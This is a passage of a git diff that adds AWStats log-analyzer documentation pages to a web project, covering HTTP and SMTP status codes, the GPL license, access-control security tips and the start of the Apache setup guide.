face="arial"><font size="-1">503</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">503 Service +Unavailable</font></font></b> +<br> +<font face="arial"><font size="-1">The +web server is too busy processing +current requests to listen to a new client. This error represents a +serious +problem with the webserver (normally solved with a reboot). </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">504</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">504 Gateway Timeout</font></font></b> +<br> +<font face="arial"><font size="-1">Gateway +timeouts are normally issued +by proxy servers when an upstream or support server doesn't respond to +a request in a timely fashion. </font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">505</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">505 HTTP Version +Not Supported</font></font></b> +<br> +<font face="arial"><font size="-1">The +server issues this status code +when a client tries to talk using an HTTP protocol that the server +doesn't +support or is configured to ignore.</font></font></td> +</tr> +</tbody> +</table> +</p> +</td> +<td align="left" valign="top"></td> +</tr> +</tbody> +</table> +<br> +<hr> +<a name="SMTP"><b>SMTP Status Codes</b></a><a>:<br> +SMTP status codes are returned by mail servers to indicate the status +of a sending/receiving mail. +The status code depends on mail server and preprocessor used to analyze +log file.<br> +All codes that are failure codes are isolated by AWStats in the SMTP +Status report chart, +enabled by the directives </a><a href="awstats_config.html#Show">ShowSMTPErrorsStats</a> +in AWStats +config file. You can decide which codes are successfull mail transfer +that should not appear +in this chart with the <a href="awstats_config.html#ValidSMTPCodes">ValidSMTPCodes</a> +directive.<br> +Here are values reported for most mail servers (This should also be +values when mail log file +is preprocessing with maillogconvert.pl).<br> +SMTP Errors are classified in 3 categories:<br> +<ul> +<li><font face="arial"><font size="-1"><a href="#SMTP23">2xx/3xx - successful</a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#SMTP4">4xx - failure, asking sender to try later</a></font></font></li> +<li><font face="arial"><font size="-1"><a href="#SMTP5">5xx - permanent failure</a></font></font></li> +</ul> +<table width="90%"> +<tbody> +<tr> +<td bgcolor="#dadada" valign="top"><!-- SMTP 2xx/3xx --> +<a name="SMTP23"></a><b><font face="arial">2xx/3xx class - Success</font></b> +<br> +<font face="arial"><font size="-1">They +are SMTP protocols successfull answers +</font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">200</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">200 Non standard +success response</font></font></b> +<br> +<font face="arial"><font size="-1">Non +standard success response</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">211</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">211 System status, +or system help reply</font></font></b> +<br> +<font face="arial"><font size="-1">System +status, or system help reply</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">214</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">214 Help message</font></font></b> +<br> +<font face="arial"><font size="-1">Help +message</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">220</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">220 <domain> +Service ready</domain></font></font></b> +<br> +<font face="arial"><font size="-1"><domain> +Service ready</domain></font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">221</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">221 <domain> +Service closing transmission channel</domain></font></font></b> +<br> +<font face="arial"><font size="-1"><domain> +Service closing transmission channel</domain></font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">250</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">250 Requested mail +action taken and completed</font></font></b> +<br> +<font face="arial"><font size="-1">Your +ISP mail server have successfully executes a command and the DNS is +reporting a positive delivery.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">251</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">251 User not +local: will forward to <forward-path></forward-path></font></font></b> +<br> +<font face="arial"><font size="-1">Your +message to a specified +email address is not local to the mail server, but it will accept and +forward the message to a different recipient email address.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">252</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">252 Recipient +cannot be verified</font></font></b> +<br> +<font face="arial"><font size="-1">Recipient +cannot be verified but mail server accepts the message and attempts +delivery</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">354</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">354 Start mail +input and end with <crlf>.<crlf></crlf></crlf></font></font></b> +<br> +<font face="arial"><font size="-1">Indicates +mail server is ready +to accept the message or instruct your mail client to send the message +body after the mail server have received the message headers.</font></font></td> +</tr> +</tbody> +</table> +<!-- SMTP 4xx --> +<a name="SMTP4"></a><b><font face="arial">4xx class - Temporary Errors</font></b> +<br> +<font face="arial"><font size="-1">Those +codes are temporary error message. They are used to tell client sender +that +an error occured but he can try to solve it but trying again, so in +most cases, clients that +receive such codes will keep the mail in their queue and will try again +later.<br> +</font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">421</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">421 <domain> +Service not available, closing transmission channel</domain></font></font></b> +<br> +<font face="arial"><font size="-1">This +may be a reply to any command if the service knows it must shut down.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">450</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">450 Requested mail +action not taken: mailbox busy or access denied</font></font></b> +<br> +<font face="arial"><font size="-1">Your +ISP mail server indicates +that an email address does not exist or the mailbox is busy. It could +be the network connection went down while sending, or it could also +happen if the remote mail server does not want to accept mail from you +for some reason i.e. (IP address, From address, Recipient, etc.)</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">451</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">451 Requested mail +action aborted: error in processing</font></font></b> +<br> +<font face="arial"><font size="-1">Your +ISP mail server indicates +that the mailing has been interrupted, usually due to overloading from +too many messages or transient failure is one in which the message sent +is valid, but some temporary event prevents the successful sending of +the message. Sending in the future may be successful.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">452</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">452 Requested mail +action not taken: insufficient system storage</font></font></b> +<br> +<font face="arial"><font size="-1">Your +ISP mail server indicates, probable overloading from too many messages +and sending in the future may be successful.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">453</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">453 Too many +messages</font></font></b> +<br> +<font face="arial"><font size="-1">Some +mail servers have the +option to reduce the number of concurrent connection and also the +number of messages sent per connection. If you have a lot of messages +queued up it could go over the max number of messages per connection. +To see if this is the case you can try submitting only a few messages +to that domain at a time and then keep increasing the number until you +find the maximum number accepted by the server.</font></font></td> +</tr> +</tbody> +</table> +<!-- SMTP 5xx --> +<a name="SMTP5"></a><b><font face="arial">5xx class - Permanent Errors</font></b> +<br> +<font face="arial"><font size="-1">This +are permanent error codes. Mail transfer is definitly a failure. No +other try will be done. +</font></font> +<table width="100%"> +<tbody> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">500</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">500 Syntax error, +command unrecognized or command line too long</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">501</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">501 Syntax error +in parameters or arguments</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">502</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">502 Command not +implemented</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">503</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">503 Server +encountered bad sequence of commands</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">504</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">504 Command +parameter not implemented</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">521</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">521 <domain> +does not accept mail or closing transmission channel</domain></font></font></b> +<br> +<font face="arial"><font size="-1">You +must be pop-authenticated before you can use this SMTP server and you +must use your mail address for the Sender/From field.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">530</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">530 Access denied</font></font></b> +<br> +<font face="arial"><font size="-1">A +sendmailism ?</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">550</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">550 Requested mail +action not taken (Relaying not allowed, Unknown recipient user, ...)</font></font></b> +<br> +<font face="arial"><font size="-1">Sending +an email to recipients +outside of your domain are not allowed or your mail server does not +know that you have access to use it for relaying messages and +authentication is required. Or to prevent the sending of SPAM some mail +servers will not allow (relay) send mail to any e-mail using another +company’s network and computer resources.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">551</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">551 User not +local: please try <forward-path> or Invalid Address: Relay +request denied</forward-path></font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">552</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">552 Requested mail +action aborted: exceeded storage allocation</font></font></b> +<br> +<font face="arial"><font size="-1">ISP +mail server indicates, probable overloading from too many messages.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">553</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">553 Requested mail +action not taken: mailbox name not allowed</font></font></b> +<br> +<font face="arial"><font size="-1">Some +mail servers have the +option to reduce the number of concurrent connection and also the +number of messages sent per connection. If you have a lot of messages +queued up (being sent) for a domain, it could go over the maximum +number of messages per connection and/or some change to the message +and/or destination must be made for successful delivery.</font></font></td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">554</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">554 Requested mail +action rejected: access denied</font></font></b> +</td> +</tr> +<tr> +<td align="center" bgcolor="#eeeeee" valign="top" width="80"><b><font face="arial"><font size="-1">557</font></font></b></td> +<td bgcolor="#eeeeff" valign="top"><b><font face="arial"><font size="-1">557 Too many +duplicate messages</font></font></b> +<br> +<font face="arial"><font size="-1">Resource +temporarily unavailable Indicates (probable) that there is some kind of +anti-spam system on the mail server.</font></font></td> +</tr> +<!-- # Postfix code for access_map_reject_code (postfix default=554) with access_map_reject_code rule '570'=>'Access denied: access_map violation (on SMTP client or HELO hostname, sender or recipient email address)', # Postfix code for maps_rbl_reject_code (postfix default=554) with maps_rbl_code rule '571'=>'Access denied: SMTP client listed in RBL', # Postfix code for relay_domains_reject_code (postfix default=554) with relay_domains_reject rule '572'=>'Access denied: Relay not authorized or not local host not a gateway', # Postfix code for unknown_client_reject_code (postfix default=450) with reject_unknown_client rule '573'=>'Access denied: Unknown SMTP client hostname (without DNS A or MX record)', # Postfix code for invalid_hostname_reject_code (postfix default=501) with reject_invalid_hostname rule '574'=>'Access denied: Bad syntax for client HELO hostname (Not RFC compliant)', # Postfix code for reject_code (postfix default=554) with smtpd_client_restrictions '575'=>'Access denied: SMTP client hostname rejected', # Postfix code for unknown_address_reject_code (postfix default=450) with reject_unknown_sender_domain or reject_unknown_recipient_domain rule '576'=>'Access denied: Unknown domain for sender or recipient email address (without DNS A or MX record)', # Postfix code for unknown_hostname_reject_code (postfix default=501) with reject_unknown_hostname rule '577'=>'Access denied: Unknown client HELO hostname (without DNS A or MX record)', # Postfix code for non_fqdn_reject_code (Postfix default=504) with reject_non_fqdn_hostname, reject_non_fqdn_sender or reject_non_fqdn_recipient rule '578'=>'Access denied: Invalid domain for client HELO hostname, sender or recipient email address (not FQDN)', --> +</tbody> +</table> +</td> +<td align="left" valign="top"></td> +</tr> +</tbody> +</table> +<br> +<hr> +<script language="javascript"> +var date='$Date: 2012/12/08 11:54:41 $'; +document.writeln("Last revision: "+date); +</script> +</body></html> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/docs/awstats_license.html b/src/main/webapp/monitoramento/docs/awstats_license.html new file mode 100644 index 0000000..77bd283 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_license.html @@ -0,0 +1,55 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - License description"> +<meta name="keywords" content="awstats, awstat, license, permissions, agreements, allow, rights, GNU, GPL, general, public, license"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - License description"> +<title>AWStats Documentation - License description</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.36 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">AWStats License / Copyright</H1> + +<br> +AWStats is distributed under the <a href="http://www.gnu.org/copyleft/gpl.html" target=_gnugpl>GNU General Public License (GPL)</a>.<br> +So you must follow the line "Free software - Copylefted - GPL" to know what are major license agreements with AWStats.<br> +<br> + +<hr> +<br> + +<img src="images/license_chart.png"><br> +<br> + +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> +<!-- MEDIA LANDSCAPE NO --> diff --git a/src/main/webapp/monitoramento/docs/awstats_security.html b/src/main/webapp/monitoramento/docs/awstats_security.html new file mode 100644 index 0000000..b7313b6 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_security.html @@ -0,0 +1,150 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Security page"> +<meta name="keywords" content="awstats, awstat, security, tips"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Security page"> +<title>AWStats Documentation - Security page</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.43 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> + +<body topmargin=10 leftmargin=5> + + +<table style="font: 10pt arial,helvetica,verdana" cellpadding=0 cellspacing=0 border=0 bgcolor=#FFFFFF width=100%> + +<!-- Large --> +<tr style="font: 10pt arial,helvetica,verdana"> +<td bgcolor=#9999cc align=center><a href="/"><img src="images/awstats_logo4.png" border=0></a></td> +<td bgcolor=#9999cc align=center> +<br> +<font style="font: 16pt arial,helvetica,sans-serif" color=#EEEEFF><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td bgcolor=#9999cc align=center> + +</td> +</tr> + +</table> + + +<br><br><H1 style="font: 26px arial,helvetica,sans-serif">Little Tips about Security</H1> + +<br> +A lot of AWStats users have several web site to manage. This is particularly true for web hosting providers. +The most common things you would like to do is to prevent user xxx (having a site www.xxx.com) to see +statistics of user yyy (having a site www.yyy.com).<br> +<br><br> +This is example of possible way of working:<br> +<br><br> + +<br><a name="1"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>1) HIGHLY SECURED POLICY</u></H2></a><br> +<font color=blue><b>Policy</b></font>:<br> +You have several different config/domains owned by different users and you want to build statistics for each +of them. You don't need that your customer have "real-time" statistics.<br> +This is a very good choice for web hosting providers with few but very large web sites of important customers.<br> +<font color=blue><b>Advantage</b></font>:<br> +Very highly secured.<br> +<font color=blue><b>Disadvantage</b></font>:<br> +Statistics are static, no dynamic update/view.<br> +<font color=blue><b>How</b></font>:<br> +All statistics pages for a config/domain file are built in static html files using <b>-output -staticlinks</b> option.<br> +There is no CGI use of AWStats and static built pages are stored in a web protected <b>realm</b> to +be securely viewed by correct allowed users only (or sent by mails).<br> +If users have a command line access (telnet) on statistics server, you must set correct permissions on AWStats +database files. Set all AWStats database files (built by the update process) for config/domain1 to have read/write +for <i>user1</i> (or an admin user) and NO read and NO write permissions for any other users.<br> +Then, check that the <a href="awstats_config.html#SaveDatabaseFilesWithPermissionsForEveryone">SaveDatabaseFilesWithPermissionsForEveryone</a> parameter is set 0 in your config/domain files.<br> +If AWStats database files/directory for config/domain1 are read protected, only allowed users can see statistics for config/domain1.<br> +If AWStats database files/directory for config/domain1 are write protected, only allowed users can update statistics for config/domain1.<br> +<br><br> + +<br><a name="2"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>2) MEDIUM SECURED POLICY</u></H2></a><br> +<font color=blue><b>Policy</b></font>:<br> +You have several config/domain and several users. You want to specify which user can see or update dynamically +statistics for each config/domain.<br> +This is one of the most popular way of working.<br> +<font color=blue><b>Advantage</b></font>:<br> +Statistics are dynamic. High level of manageability.<br> +<font color=blue><b>Disadvantage</b></font>:<br> +AWStats database files must still be readable by anonymous web server user, so if an experienced user can have an access to +the server (telnet) where AWStats database files are stored, he can succeed in installing and running a "hacked" version +of AWStats that ignores value of parameter AllowAccessFromWebToAuthenticatedUsersOnly.<br> +<font color=blue><b>How</b></font>:<br> +awstats.pl file must be saved in a web protected <b>realm</b> to force a visitor to enter its username/password +to access AWStats CGI program.<br> +<br> +<u>Example of directives you can add into Apache to have awstats.pl in a web protected realm:</u><br> +<i> +<Files "awstats.pl"><br> +AuthUserFile /path/to/.passwd<br> +AuthGroupFile /path/to/.group<br> +AuthName "Restricted Area For Customers"<br> +AuthType Basic<br> +require valid-user<br> +</Files> +</i><br> +If you add such directives into a .htaccess file, you must also check that the <i>AllowOverride</i> directive is set +to <i>All</i> in Apache config file to allow the use of .htaccess files.<br> +<br> +To known how to create a protected realm for servers other than Apache, see your web server manual.<br> +<br> +Then edit each config/domain file you want to be protected to set <a href="awstats_config.html#AllowAccessFromWebToAuthenticatedUsersOnly">AllowAccessFromWebToAuthenticatedUsersOnly</a> to 1.<br> +You can also edit list of authorized users in the <a href="awstats_config.html#AllowAccessFromWebToFollowingAuthenticatedUsers">AllowAccessFromWebToFollowingAuthenticatedUsers</a> parameter.<br> +You can also specify a range of allowed browsers IP Addresses with the <a href="awstats_config.html#AllowAccessFromWebToFollowingIPAddresses">AllowAccessFromWebToFollowingIPAddresses</a> parameter.<br> + +You can also set <a href="awstats_config.html#SaveDatabaseFilesWithPermissionsForEveryone">SaveDatabaseFilesWithPermissionsForEveryone</a> parameter to 0 in all config/domain files, +except if you want to allow update from web with option <a href="awstats_config.html#AllowToUpdateStatsFromBrowser">AllowToUpdateStatsFromBrowser</a>=1. But this is +not recommanded as you need to give read/write permission for Web server user on all history +files (Except if you setuid AWStats script for each authorized user, but this make setup much harder).<br> +The following parameters <a href="awstats_config.html#ErrorMessages">ErrorMessages</a> and <a href="awstats_config.html#DebugMessages">DebugMessages</a> are +also parameters related to security.<br> +<br> +<br> +Other tip: If the <b>AWSTATS_FORCE_CONFIG</b> environment variable is defined, AWStats will always use +the config file <i>awstats.VALUE_OF_AWSTATS_FORCE_CONFIG.conf</i> as the config/domain file. +So if you add this environment variable into your web server environment, for example by adding the line<br> +<i>SetEnv AWSTATS_FORCE_CONFIG configvalueforthisdomain</i><br> +in your Apache <i><VirtualHost></i> directive group in httpd.conf (with other directives), AWStats will use the config file +called <i>awstats.configvalueforthisdomain.conf</i> to choose which statistics used, +even if a visitor try to force the config/domain file with the URL '<i>http://mydomain/cgi-bin/awstats.pl?config=otherdomain</i>'. +This might be usefull for thoose who edit their config/domain file with <a href="awstats_config.html#AllowAccessFromWebToFollowingAuthenticatedUsers">AllowAccessFromWebToFollowingAuthenticatedUsers</a>="__REMOTE_USER__"</i> +instead of maintaining the list of authorized users into each AWStats config file.<br> +<br> +<br> + + +<br><a name="3"><H2 style="font: 22px arial,helvetica,sans-serif color: #606060"><u>3) NO SECURITY POLICY</u></H2></a><br> +<font color=blue><b>Policy</b></font>:<br> +You have only one hosts or several hosts or users but you don't need to manage particular permissions +for your different config/domain statistics.<br> +<font color=blue><b>Advantage</b></font>:<br> +Setup is very easy (No need of particular setup). Statistics are dynamic.<br> +<font color=blue><b>Disadvantage</b></font>:<br> +No way to prevent stats for config/domain to be seen by a user that known the +config/domain name and the url syntax to see stats of a particular config/domain.<br> +<font color=blue><b>How</b></font>:<br> +No particular things to do (You can however easily use <a href="awstats_config.html#AllowAccessFromWebToFollowingIPAddresses">AllowAccessFromWebToFollowingIPAddresses</a> parameter +to have a minimum of security).<br> +<br> +<br> +<br> + +There is a lot of possible use for AWStats combining all its options/parameters with all web servers options/parameters and operating +systems security features. Just use the one you need...<br> +<br> + + +<br> +<hr> + +<script language=javascript> + var date='$Date: 2013/07/09 19:57:08 $'; + document.writeln("Last revision: "+date); +</script> + +</body> +</html> diff --git a/src/main/webapp/monitoramento/docs/awstats_setup.html b/src/main/webapp/monitoramento/docs/awstats_setup.html new file mode 100644 index 0000000..de7d3b5 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/awstats_setup.html @@ -0,0 +1,584 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html> +<head> +<meta name="description" content="AWStats Documentation - Setup page"> + <meta name="keywords" + content="awstats, awstat, setup, config, install"> +<meta name="robots" content="index,follow"> +<meta name="title" content="AWStats Documentation - Setup page"> +<title>AWStats Documentation - Setup page</title> +<link rel="stylesheet" href="styles.css" type="text/css"> +<!-- $Revision: 1.85 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --> +</head> +<body topmargin="10" leftmargin="5"> +<table + style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" + bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" + width="100%"> +<!-- Large --> <tbody> + <tr + style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> + <td align="center" bgcolor="#9999cc"><a href="/"><img + src="images/awstats_logo4.png" border="0"></a></td> + <td align="center" bgcolor="#9999cc"> <br> + <font + style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" + color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> + <td align="center" bgcolor="#9999cc"> </td> +</tr> + </tbody> +</table> +<br> +<br> +<h1 + style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 26px; line-height: normal; font-size-adjust: none; font-stretch: normal;">AWStats +Installation, Configuration and Reporting</h1> +There are 3 steps to begin using AWStats:<br> +<ul> + <li><a href="#INSTALL">I. Setup: Installation and configuration</a><br> + </li> + <li><a href="#BUILD_UPDATE">II. Process logs: Building/updating +statistics database</a><br> + </li> + <li><a href="#READ">III. Run Reports: Building and reading reports</a><br> + </li> +</ul> +<br> + +<!-- +<br> +Before starting, check that your Perl version is at least 5.007 (or higher) by running the <i>perl -v</i> command. +If not, you can install a recent Perl interpreter from <a href="http://www.activestate.com/ActivePerl/">ActivePerl</a> (<font color=#221188>Win32</font>) or <a href="http://www.perl.com/pub/language/info/software.html">Perl.com</a> (<font color=#221188>Unix/Linux/Other</font>).<br> +--> +<br> +<a name="INSTALL"> +<h2 style=""><u>I. Setup: Installation and configuration using +awstats_configure.pl</u></h2> +</a><br> +<a name="INSTALLAPACHE"><b>A) Setup for an Apache or compatible web +server (on Unix/Linux, Windows, MacOS...)</b></a><br> +<br> +<font style="color: rgb(17, 17, 85);"><b>* Step 1</b>:</font><br> +<br> +(if you use a package provided with a Linux distribution or Windows +installer, step 1 +might have already been done; if you don't know, you can run this step +again)<br> +<br> +After downloading and extracting the AWStats package, you should run +the awstats_configure.pl script to do +several setup actions. +You will find it in the AWStats <b>tools</b> directory (If using the +Windows installer, the script is +automatically launched):<br> +<table border=1 cellpadding=1 cellspacing=0 bgcolor=#F4F4F4 width="95%" class=CFAQ><tr class=CFAQ><td class=CFAQ> +perl awstats_configure.pl +</td></tr></table> +<br> +<ul> + <u>This is what the script does/asks (you can do all these steps +manually instead of running awstats_configure.pl if you prefer):</u><br> +<br> +A) awstats_configure.pl tries to determine your current log format from +your Apache web server +configuration file httpd.conf (it asks for the path if not found). +If you use a <b>common</b> log, awstats_configure.pl will +suggest changing it to the <b>NCSA combined/XLF/ELF</b> format (you +can use your own custom log +format but this predefined log format is often the best choice and +makes setup easier).<br> +If you answer yes, awstats_configure.pl will modify your <b>httpd.conf</b>, +changing the +following directive:<br> + <i>from<br> +CustomLog /yourlogpath/yourlogfile common</i><br> +to<br> +<i>CustomLog /yourlogpath/yourlogfile combined</i><br> +<br> +See the Apache manual for more information on this directive (possibly +installed on your server as www.mysite.com/manual).<br> + <br> +B) awstats_configure.pl will then add, if not already present, the +following directives to your Apache configuration file +(note that the "/usr/local/awstats/wwwroot" path might differ according +to your distribution or OS:<br> + <i> <br> +# <br> +# Directives to add to your Apache conf file to allow use of AWStats as +a CGI. <br> +# Note that path "/usr/local/awstats/" must reflect your AWStats +Installation path. <br> +# <br> +Alias /awstatsclasses "/usr/local/awstats/wwwroot/classes/" <br> +Alias /awstatscss "/usr/local/awstats/wwwroot/css/" <br> +Alias /awstatsicons "/usr/local/awstats/wwwroot/icon/" <br> +ScriptAlias /awstats/ "/usr/local/awstats/wwwroot/cgi-bin/" <br> +# <br> +# This is to permit URL access to scripts/files in AWStats directory. <br> +# <br> +<Directory "/usr/local/awstats/wwwroot"> <br> +Options None <br> +AllowOverride None <br> +Order allow,deny <br> +Allow from all <br> +</Directory> </i><br> + <br> +C) if changes were made as indicated in parts A and B, +awstats_configure.pl restarts Apache to apply the changes. To be +sure the log format change is effective, go to your homepage. This is +an example of the type of records you should see inserted in your new +log file after Apache +was restarted:<br> + <br> +62.161.78.75 - - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 +"http://www.from.com/from.html" "Mozilla/4.0 (compatible; MSIE 5.01; +Windows NT 5.0)"<br> + <br> +D) awstats_configure.pl will ask you for a name for the configuration +profile file. Enter an appropriate name such as that of your +web server or the virtual domain to be analyzed, i.e. <b + style="font-style: italic;">mysite</b>.<br> + <br> +awstats_configure.pl will create a new file called <b>awstats.<span + style="font-style: italic;">mysite</span>.conf</b> +by copying the template file <b>awstats.model.conf</b>. +The new file location is:<br> +- For Linux/BSD/Unix users: /etc/awstats.<br> +- For Mac OS X, Windows and other operating systems: the same directory +as awstats.pl +(cgi-bin).<br> +<br> + +E) awstats_configure.pl ends.<br> +<br> +</ul> +<font style="color: rgb(17, 17, 85);"><b>* Step 2</b>:</font><br> +<br> +Once a configuration file has been created (by +awstats_configure.pl, by your package +installer or just by a manual copy of awstats.model.conf), it's +important to verify that the "MAIN PARAMETERS" +match your needs. Open awstats.<span + style="font-style: italic; font-weight: bold;">mysite</span>.conf in +your favorite text editor (i.e. notepad.exe, vi, gedit, etc) - +don´t use a word processor - and make changes as required.<br> +<br> +Particular attention should be given to these parameters:<br> +- Verify 